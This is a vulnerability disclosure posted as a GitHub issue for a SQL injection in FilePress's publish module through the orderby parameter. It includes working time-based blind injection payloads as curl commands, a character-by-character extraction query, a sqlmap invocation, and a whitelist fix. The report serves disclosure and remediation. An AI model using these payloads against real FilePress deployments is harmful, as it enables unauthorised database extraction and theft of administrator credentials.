Skip to content

[Security] SQL Injection in publish module via orderby parameter #74

Description

@0xGenesi

SQL Injection in FilePress publish module via orderby parameter (4 endpoints)

Summary

FilePress contains a systemic SQL injection vulnerability in the publish module. The orderby and order GET parameters are concatenated directly into SQL ORDER BY clauses without any sanitization, escaping, or whitelisting across 4 endpoints.

  • CVSS 3.1 (default, overt=false): 8.8 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CVSS 3.1 (public mode, overt=true): 9.8 (Critical) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Versions

All versions ≤ 3.0.1 (verified on latest release 3.0.1, 2026-08-14)

Affected Files

File Handler / Context
dzz/publish/search.php getPublishList
dzz/publish/ajax.php getColletLists
dzz/publish/robot/collect.php list ordering
dzz/banner/robot/publish/collect.php list ordering

The identical injection pattern was confirmed in all 4 files via source code review.

Vulnerable Code

All 4 files share the exact same vulnerable pattern. Example from dzz/publish/search.php:

$orderby = $_GET['orderby'] ? $_GET['orderby'] : 'dateline';
$order   = $_GET['order']   ? $_GET['order']   : 'DESC';
$ordersql = "order by p.$orderby $order";

No whitelist, escaping, or validation is applied. The resulting $ordersql is concatenated into the main query and executed via DB::fetch_all().

Authentication Context

  • Default (overt = false): Requires a low-privilege read2 session.
  • Public mode (overt = true): No authentication required at all — remotely exploitable by unauthenticated attackers.

Root Cause & Injection Technique

Since the code prepends p. to the column name, a direct subquery like (SELECT SLEEP(3)) results in order by p.(SELECT SLEEP(3)) which is a syntax error. The bypass is comma-based injection — prepend a valid column name and append the payload as a secondary sort key:

orderby = dateline,(SELECT SLEEP(2))
→ order by p.dateline,(SELECT SLEEP(2)) DESC

Proof of Concept

1. Baseline request (fast response)

curl -s -o /dev/null -w '%{time_total}s\n' \
  'http://TARGET/index.php?mod=publish&op=search&do=getPublishList&orderby=dateline&order=DESC'

2. Time-based confirmation (delayed response)

curl -s -o /dev/null -w '%{time_total}s\n' \
  'http://TARGET/index.php?mod=publish&op=search&do=getPublishList&orderby=dateline,(SELECT%20SLEEP(2))&order=DESC'

3. Conditional data extraction (character-by-character)

curl -s -o /dev/null -w '%{time_total}s\n' \
  'http://TARGET/index.php?mod=publish&op=search&do=getPublishList&orderby=dateline,IF(ASCII(MID(database()%20FROM%201%20FOR%201))%20BETWEEN%20102%20AND%20102,SLEEP(2),0)&order=DESC'

Delays when first char of database() = 'f' (ASCII 102).
MID(expr FROM pos FOR 1) is used because SUBSTRING(expr, pos, 1) contains commas that conflict with the ORDER BY parser.

sqlmap verification

sqlmap -u "http://TARGET/index.php?mod=publish&op=search&do=getPublishList&orderby=dateline&order=DESC" \
  -p orderby --technique=T --time-sec=2 --tamper=between --batch --dbms=mysql

Expected output:

Parameter: orderby (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: orderby=dateline AND (SELECT 7539 FROM (SELECT(SLEEP(2)))lNZf)&order=DESC
back-end DBMS: MySQL >= 5.0.12
Image

Impact

  • Full database extraction — time-based blind injection allows complete database read access, including user credentials, session data, and all file/document metadata.
  • Administrator credential theft — admin username and password hash can be extracted from the dzz_user table and cracked offline for full admin access.
  • Unauthenticated exploitation — when overt mode is enabled (common for public-facing deployments), no credentials are needed at all.
  • Potential RCE — under specific conditions (e.g., stacked queries enabled and MySQL FILE privileges), INTO OUTFILE could be used to write a PHP web shell to the web root.
  • 4 vulnerable endpoints — the identical injection pattern exists in 4 files, significantly multiplying the attack surface.

Remediation

Apply whitelist validation to all 4 affected files:

$allowed_orderby = ['dateline', 'id', 'title', 'views', 'downloads'];
$allowed_order   = ['ASC', 'DESC'];

$orderby = (is_string($_GET['orderby'] ?? null)) ? $_GET['orderby'] : 'dateline';
$order   = strtoupper((is_string($_GET['order'] ?? null)) ? $_GET['order'] : 'DESC');

if (!in_array($orderby, $allowed_orderby, true)) {
    $orderby = 'dateline';
}
if (!in_array($order, $allowed_order, true)) {
    $order = 'DESC';
}

$ordersql = "order by p.{$orderby} {$order}";

For a more robust long-term fix, consider adopting a parameterized query builder (e.g., PDO with a pre-validated column map) that automatically handles ORDER BY column validation at the database abstraction layer.

References

Timeline

  • 2026-08-14: Vulnerability discovered and verified against latest release (3.0.1).
  • 2026-08-14: Reported to maintainer via GitHub Issue.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions